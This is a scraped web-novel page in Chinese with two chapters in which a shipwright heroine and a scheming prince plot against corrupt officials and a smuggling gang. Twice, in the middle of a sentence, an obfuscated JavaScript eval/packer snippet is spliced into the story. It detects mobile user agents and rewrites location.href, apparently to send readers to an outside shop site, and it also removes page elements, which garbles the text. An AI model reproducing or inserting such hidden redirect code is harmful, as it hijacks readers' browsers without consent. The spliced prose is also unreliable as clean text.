《从漕船女匠到水军统帅》 3. 第三章 如花棘之前遇到的黑衣男子一样,李文晞身边的暗卫都是高手,未至天明,院落中央已然横尸遍地。 李文晞起身,漫不经心地扫了一眼,吩咐道:“就送回漓河边上吧,小心着点,别吓着人。” “是。”暗卫们领命退下。 廊檐下一时间只剩下了花棘和李文晞两人。 李文晞摊手一指旁边的院落,柔声开口:“客房早已备好,花棘姑娘不妨暂且住下,本王这里很安全,其余事宜,晚些再商谈也不迟。” 事已至此,花棘没再推脱,颔首谢过之后,便拾起长刀径直走了进去,回身锁好了门。 黑暗中,干净整洁的房间内,一应用品俱全,里间的屏风后方,甚至放好了一浴桶的水和所有梳洗用物,就近的架子上搭着一整套熏香过后的新衣。 花棘伸手触了一下水温,居然还是温热的。她看了一眼自己身上的污秽,也不知是个什么心境,将长刀立在浴桶一旁,她竟真的退去旧衣,入了水。 一整晚的险象迭生,此刻只剩她一个人安静下来,所有迟钝的感知方才慢慢回收。她是在文明社会的规训下长大的人,此前二十七年的人生里并没有杀过人,她看着自己不住抖动的双手,恍惚的回忆里,那个将长刀捅入进别人身体里的人,仿佛是另外一个无比陌生的鬼魅。 她很害怕,非常害怕,但在所有恐惧之上,现在她更需要的是一份麻木的冷静。 李文晞今晚当然说的都是真话,只不过,冰山一角将露,所有能说的,便都是准备好可以说的。 她任远洋船长近五年之久,自信自己认人还是准的,李文晞这个人,城府深沉,心有沟壑,绝非平庸无能之辈。 花棘期待着他接下来的手段,仇敌强如巨树,她一只小小的蚍蜉想要撼动,最需要的就是与虎谋皮,越是能咬人的猛虎,才越好。 沐浴之后,换好干爽的衣裳,倒在柔软的被褥里,疲惫至极的她总算沉沉地睡了过去。 窗棂外天光由黑变蓝,下了一整夜的雨终于舍得停了,李文晞长身立于檐下,见旁边院落的烛火彻底熄了,这才转身准备离开。 漓州顽疾积重已久,乃是整个朝堂人尽皆知的事,其中权势脉络复杂,与几位御前的大人物都担着干系。父皇要么不动,一动便是有了连根拔起的决心。 这一次肯重用他,暗中允诺诸多便宜,看中的也是他在朝中全无根基的缘故。 如此,最好。 有些东西藏得太久,倒也该放出来见见天日了。 晨光划过树梢,映亮了李文晞松风水月般俊朗的侧脸,只见他薄唇微挑,步履轻快,转瞬消失在了拐角。 花棘一觉醒来,便觉全身舒爽,推开窗一看,天色晴朗,日头已经开始西斜了。 她才起没一会儿,一连几波下人就过来了,收拾房间、伺候她梳洗、安置饭菜、又准时过来将碗碟撤去。 前世今生,清简多年,这还是花棘第一次这么腐|败。 全然休整好后,她便踱步去了昨晚与李文晞相谈的小院等人。昨夜心绪烦乱,没怎么注意,这会儿走近一看,才发觉院落一角竟然有一棵经年的梨花树。 她记得,小时候外婆院子里也有这样的一棵梨花树,盛夏傍晚放学,每每推门回去,外婆总是坐在梨树的阴凉下等着她。 花棘轻倚檐下,躲在阴影中安静地坐着,看斜阳漫抚过枝头雪白的花瓣,凉风带来清香几许,叫她不自觉地一阵阵恍神。 是以,当李文晞回来之时,抬眼便看到了一幅惊为天人的落英美人图。 霞光愈渐浓烈,落在树梢上的颜色几近橘红,可在划过花棘的脸颊时,又变作了极其温柔的暖黄,直衬得那飒爽冷艳的面容也有了些绵绵的旖旎。 他私心为花棘准备了一套青色衣裙,裁剪利落大方,布料上乘,他深知,只有这样的衣衫才最衬她。乌黑的长发简单束于脑后,一只木质素簪,几缕碎发垂落两颊,周身再没有其余装饰,便足以叫人见之不忘。 他隐于一侧看了好久,这才舍得走近带出了一点声响,花棘看过来,脸上霎时变了一副神色,满眼防备,他不禁略有悻悻。 李文晞这边刚一坐下,花棘便开门见山地说:“漓州上下官官相护,黑白两道暗通款曲蛇鼠一窝,想要以正当方式获得证据,恐怕难于登天,不知殿下可有准备。” “花棘姑娘不要误会。”李文晞听过浅浅一笑,勾人的含情眼微弯,看向花棘道,“本王原也不是什么正直之人。” 说完,端坐椅中,招手叫人上茶,仍旧一副文雅倜傥的模样。 尽管花棘并不是什么喜欢看帅哥的性格,但还是不得不承认,与她仅一桌之隔的李文晞实在帅的有些过分。良好的教养与学识,是从骨子里往外长的,远不是一般的花拳绣腿可以比。 茶具上来,李文晞依旧亲手泡着两人的茶,缓声开口:“本王初来乍到,人生地不熟,花棘姑娘有什么高见,不妨畅所欲言,本王听着就是。” 花棘忍着李文晞的客套,也不戳破,继续直接了当地阐明自己的计划。 “所有事情,高官们都不会明面参与,有需要的时候,脏活累活都由漕帮的人暗中去做。” “经由漓河不听他们摆布的船,漕帮的人就会在水下乱动手脚,等到那时,连船带人是死还是活,就全是漕帮的人说了算......” 话说到此,花棘忽而停了下来,她猛地想起昨日下午出事的商船,前来漓州调查的钦差,不刚好就在上面吗? 她一时没有控制好脸上的情绪,愣怔的目光直勾勾地盯着李文晞。 李文晞被花棘的表情逗到,掩面笑了起来,知她心里想的是何事,他却没有直说,而是有意逗她道:“嗯,也不是没有这个可能。” 花棘低下头,视线落在眼前的茶水上,知晓内情的她是如何也笑不出来。 在原身的记忆中,大绥朝自建立以来,历经三代帝王更迭,从王朝最初的动荡,历经休养生息,再到如今的内忧外患。四下边境虽时有摩擦,可怎么也是外疾,不想,王朝内部,一个地方权臣,竟然连王室的皇子也敢染指,还因此,要白白害死几百条人命。 为什么,为什么会这样!昨天,如果没有她在呢,没有她这个意外到来的现代人,那几百人的性命又当如何! 花棘一只放在膝上的手紧紧握成了拳,整个身体都在因强烈的愤怒,而不受控制地发着抖。 “花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819637|190989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棘姑娘......” 坐在她对面的李文晞早已收了笑意,见她突然这样,更是吓坏了。 李文晞试探着小声问道:“可是本王说了什么不该说的话,惹了花棘姑娘不快,姑娘......” “不是你。”花棘蓦然抬首,眼中一片清明。 她再度开口,吐露的每一个字都掷地有声。 “殿下让我献计,可是当真会听从我的建议。” “当真。”李文晞郑重回她。 “那好。” 花棘目光如炬,望向远方天幕,眉眼间满是傲气。 “我要造出一艘当世绝无仅有的船。” “既然他们盘踞水上,自信呼风唤雨,那我便要在水中,让他们败的彻底,让他们将所有枉死的性命全部偿还。” 落霞绚烂如血,映在面前绝美的面容之上,近在咫尺的距离,李文晞看着那双锋芒毕露的眉眼,几乎被摄魂夺魄,如何也移不开目光。 他没有去问具体的计划,也不言是否同意,只似被蛊惑了一般,遵从着自己的内心,字字斟酌道:“本王不才,养尊处优多年,倒还有些积蓄,愿意为花棘姑娘出一份力。” 花棘收回视线,看了李文晞一眼后,淡淡回了一句:“叫我花棘就好。” “花棘。”李文晞随即轻唤一声。 花棘饮尽面前的茶,俯首沉思了一会儿后,才转头对李文晞说:“要造我设计的船,所需花费的人力物力高昂,为保万全,殿下难道不需要提前试验一下我的能力吗?” 李文晞苦笑了一下,有些无奈,他要怎么去疑心那个孤身一人跳入水中,拼着性命将一船人性命拉回来的她。 可他还是一脸温色,和声顺从:“好啊,花棘觉得该怎样试验才好?” 花棘一时失神,被李文晞的赤诚灼到,双颊竟渐渐有些微热。 她错开目光,说道:“殿下当举整个漓州顶尖船匠之力,来谋划击落我的船,若我败了,殿下便可以有更好的人选。” “哦?”李文晞替她重新添好茶,“如此,姑娘的筹谋岂不为他人做了嫁衣。” “这个,我倒是从未想过。”花棘说。 李文晞追问:“为何?” 花棘回看向他,灿然一笑,朱唇轻启。 “有我在的船,不会沉。” “哈哈哈......哈哈......好!” 李文晞终于痛痛快快地笑了出来,他定定地看着花棘,此刻莫大的欣喜,只让整个心胸都在为之一颤。 他忽然动了一个心思:“既然花棘这样胜券在握,那不如,我们小赌一把?” 不想,花棘转而给了他一个更为大胆的诱惑。 “小赌就算了。” 花棘神色坦然,对自己的野心丝毫不加掩饰,反问道: “我如果要这一场胜局最后的赌约,殿下可还舍得给吗?” “花棘。” 李文晞脸上扬着笑意,思绪久久震荡不已,直视向面前人的双眼,他还是一副轻松嬉闹的口吻,却忍不住偷偷将心底最真的话都说了出来: “只要你肯要,只要我有。” “便是我李文晞的幸运。” 4. 第四章 大雨之后一连都是晴天,盛夏行至末尾,清晨与傍晚开始吹起了凉风,青砖黛瓦的院落内,一片恬静舒爽。 距离花棘与李文晞立下赌约已经过去了三天,可这三天的时间里,花棘不是在小院遛弯儿闲逛,就是坐在梨花树下发呆,这会儿又不知是想到什么,上手摆弄起了一个自己做的小积木。 午后的热意逐渐褪却,花棘坐在梨花树下的小桌边,将手上的积木组好、拆掉、再组好、再拆掉。她手边放着一把小刀,时不时便要重新调整一下积木块的形状,如此往复,也看不出她的厌烦,舒展的眉眼间反倒都是惬意。 一组积木的各式组合全部被花棘试了个遍,她摸过手边的木块,用小刀随便标记了几笔之后,很快又给自己削了一组出来,继续兴致盎然地玩弄了起来,全然不知身后人的窥探。 范如芥盯着看了一会儿,抬手捋了捋灰白的胡须,皱眉摇了摇头,而后轻手轻脚地离开墙角,出了院落。 正厅内,范如芥进来时,李文晞正在一侧更衣。 抬眼瞧见了一抹熟悉的灰色身影后,李文晞戏谑地问道:“如何?老师一连看了几天,可是瞧出端倪了吗?” 范如芥,字弥心,在李文晞心中,这位相伴了他近十年的老师,绝对算得上是当世罕有的奇才,只不过,老师看人的眼光可比他要挑剔多了,而且,脾气属实不是太好。 果然,只见那身量不高又有些干瘦的小老头,焦急地犹如热锅上的蚂蚁,低头轻捋着胡须反复踱步之后,开口便是一句。 “殿下,这样的人,如若不能为我们所用,便该尽快杀了。” 李文晞收拾妥当,笑着走来近前,和声询问:“哦?老师这话是什么意思,学生我可听不明白。” 范如芥自行提前落座,猛灌了一大口茶水后,这才解释道:“追杀被困可以临危不乱,直面高位依旧沉着清醒,寄人篱下不见拘谨颓败,以上三者,得一便已非等闲之辈。” “而三者兼得,定然不是池中之物,才十八岁啊......” 范如芥感慨,语速骤然放缓,爬满了皱纹的眼睛,目光灼灼地看向虚空中的一点,“假以时日,老夫不敢想象此女能有什么样的成就。” 说着望向李文晞的眼神,忽而冷了下去,一双原本就因枯瘦而微凸的大眼睛,显得愈发阴邪恶毒,“这样的人,绝对不能拦了我们的路。” 李文晞心领神会,自己的这位好老师,可从来不是什么善人。 他没急着评价什么,而是缓步走至范如芥面前,如往常一样郑重行过礼后,这才走回主位坐下。 范如芥看着上位处泰然端坐的皇七子,年轻的面容上是一贯的漠然洒脱,双眸流转间喜怒深藏。那晚殿下与花棘的对话,他不是没有听见,但很多时候,确实连他这个老师,也有点摸不透自己学生的心思。 花棘自然出类拔萃,可这一位他自己选中,并誓死效忠的君主,又何尝不是人中龙凤。 “殿下,依老夫看来,花棘......” 他正欲再度进言,门外一道由远至近的声音,猛地打断了他。 “程峰都怀疑自己是不是听错了,几日前范先生怕不是没和小人们在同一条船上,不然,实在想不出,先生今日怎么会说得出,要手刃恩公这番情意全无的话。” 一身黑衣的程峰径直走到李文晞身旁,持剑立于一侧,说完,抬手除了面上遮挡,露出了一张英气逼人的脸。 只叫人惋惜的是,如此英姿相貌,竟有一条陈年旧疤斜横在左眼与鼻梁之上,为那刀削斧凿般深邃的五官,又平添了一缕蹉跎。 深巷内刀光血影的那一晚,正是他潜在暗处跟踪,救下花棘后,将人带了回来。 “程谨行!” 范如芥怎忍得了别人挑衅污蔑,随即指着程峰的鼻子直言:“你哪一句听得老夫要害人性命,老夫的意思分明是以威胁之名,行拉拢之意。反倒是她花棘姑娘,豪言壮语说出来了,结果呢,一连三天也不见有什么动作,你倒是说说,老夫该不该疑心她。” 程峰浓眉一挑,转头看向别处,“花棘姑娘在想什么,我怎么可能知道。” 嗯? 李文晞听罢,不动声色地向身侧扫了一眼,程峰这块整日只知道在房檐上睡觉的木头,竟然会主动替花棘说话,小子可别是动了什么歪心思吧。 座下,范如芥仍在沉思,不时自言自语:“难道小姑娘真的深藏不漏,心中自有计较,是我老头子太心急了?” 李文晞看的有趣,吃了一颗桌上洗好的提子后,跟着随便应了一句:“嗯,老师说的在理。” 然而,真实想的却是,花棘那样的妙人,心里千回百转的心思,又岂是别人随随便便就能猜到的。 心猿意马间,嘴角的笑意更甚,脑海中一抹梨花树下的青衣倩影缓缓浮现,待他回神反应过来时,连自己都有些惊到了,他是从什么时候开始,这样笃信于她? 门前光影一动,一名侍奉的小丫头走至屋内,匍匐着跪倒,双手托起一张纸稿向前,脆声开口道: “回禀殿下,花棘姑娘给了这份物品清单,烦请殿下帮忙采购。” 李文晞听到,强装满不在意,扬头一指范如芥的方向,吩咐:“就交给老师去办吧。” 范如芥急切地一把拿过下人递来的清单,展开来一目十行地扫过一遍,脸上神色先是凝重,而后又快速舒展,嘴中不住称赞道:“奇了,真是奇了。” “殿下,您快看啊。”范如芥将清单盛到李文晞面前,兴奋地一一指给人看,“其中所需的每样物品,都精确地标注好了份额,而且,条理清晰,不同类别之间分列明确。” “花棘姑娘能够给出这样的一份清单,其想要做的事情,必定成竹在胸,思虑良久了啊......” 李文晞没有理会自己老师到底在说什么,他倒是对眼前发生的事并不意外,此刻的注意力,全在那一个个娟秀的字体上。 字迹虽简洁流畅,但在横折转曲之处,却不减苍劲有力的锋芒,实在不该是一个十八岁的女子能够拥有的书法造诣,明明还是那样的出身......花棘身上,到底还有多少秘密是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819638|190989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道的。 范如芥事无巨细地交代完采买事宜后,下人刚走到门口,又被李文晞给叫了回来。 他抬手将桌上盛着提子的瓷盘向前推了推,“把这个送去花棘姑娘房中吧。” 青绿色的新鲜提子,在口中爆开的一瞬间,汁水很清爽,也很甜,盛夏焦躁,劳心费神,花棘应该也会喜欢的。 湛蓝如洗的晴空上,日头逐渐西斜,李文晞理了理自己刚刚换上的这身,分外奢靡华贵的衣服后,起身准备出门。 来至私宅门口,临上马车前,他想了想还是把程峰给一起带上了。那晚毕竟是程峰亲手救下的花棘,有英雄救美的戏码在前,将这两个人一起留下,没他看着可不行。 马车渐行至闹市,漓州商贾众多,富庶繁华,李文晞正在闭目养神,一边听着人潮的嘈杂,一边整理自己的思绪。 当时商船出事的现场他已派人反复查看过,若说是有人故意为之,多少有哄骗花棘的算计在,其实一直到现在,他手中都没有确切的证据。但当晚的行刺确切无疑,他此番来到漓州的行程,到底还是泄漏了出去。 漓州眼下是整个大绥的经济命脉,他这一次奉皇命清剿官场,斩断的不知是多少人的财源,偏他这个不懂事理的草包皇子,又不肯按照规矩明面上走下过场,便也怪不得人家暗地里给他上手段了。 漕帮那群人不过是被推到台前蹦跶的跳蚤而已,与花棘的合作是要将跳蚤以雷霆之势,又快又狠地除去,而面对后面躲藏的豺狼,他要的是一点一点蚕食,徐徐图之。 身下的晃动逐渐停了,李文晞缓缓睁开了眼睛,漆黑的眼眸深处,有凶戾之色一闪而过。 人人都在争做螳螂,人人都以为他是待捕的蝉,可他李文晞自踏入漓州地界的那一天起,要做的就是黄雀。 侍从尊敬地揭开车帘后,李文晞不紧不慢地端坐其中,四下一片寂静,谁也不知道这位突然驾到的皇子心里到底想的什么,一直到眼前侍从的手开始不受控制地抽搐发抖之后,李文晞才终于肯起身,满面笑意地走了下来。 “参见晨王殿下。” 宅院门口等待迎接的人,早已匍匐着跪倒一片。最前端一人身着深棕色朴素常服,头裹一顶黑色幞头,约莫四十有余,正是漓州刺史身边辅佐处理一切要务的文官,长史,陆穷年,字继日。 李文晞连忙迎上前去,亲手将人扶起:“陆长史请起,本王不请自来,叨扰大人了。” 这也是他和老师范如芥提前商议好的,两相试探,总要先从一个明白人开始才行。 “晨王殿下太客气了,您肯亲自光临寒舍,已经是下官上辈子修来的福气了,切莫再折煞下官了,快快里面请。” 陆穷年一路不住地躬身行礼,态度极为恭顺谦卑,不成想,做出的事情可一点也不老实。 行至正厅,李文晞看着其间摆了满地的金银财宝,并一众衣着清凉的美女佳人们,脸上笑意愈来愈深,落定在门槛外也不进去,明知故问地对一旁的陆穷年道: “大人这是何意,本王怎么看不懂啊?”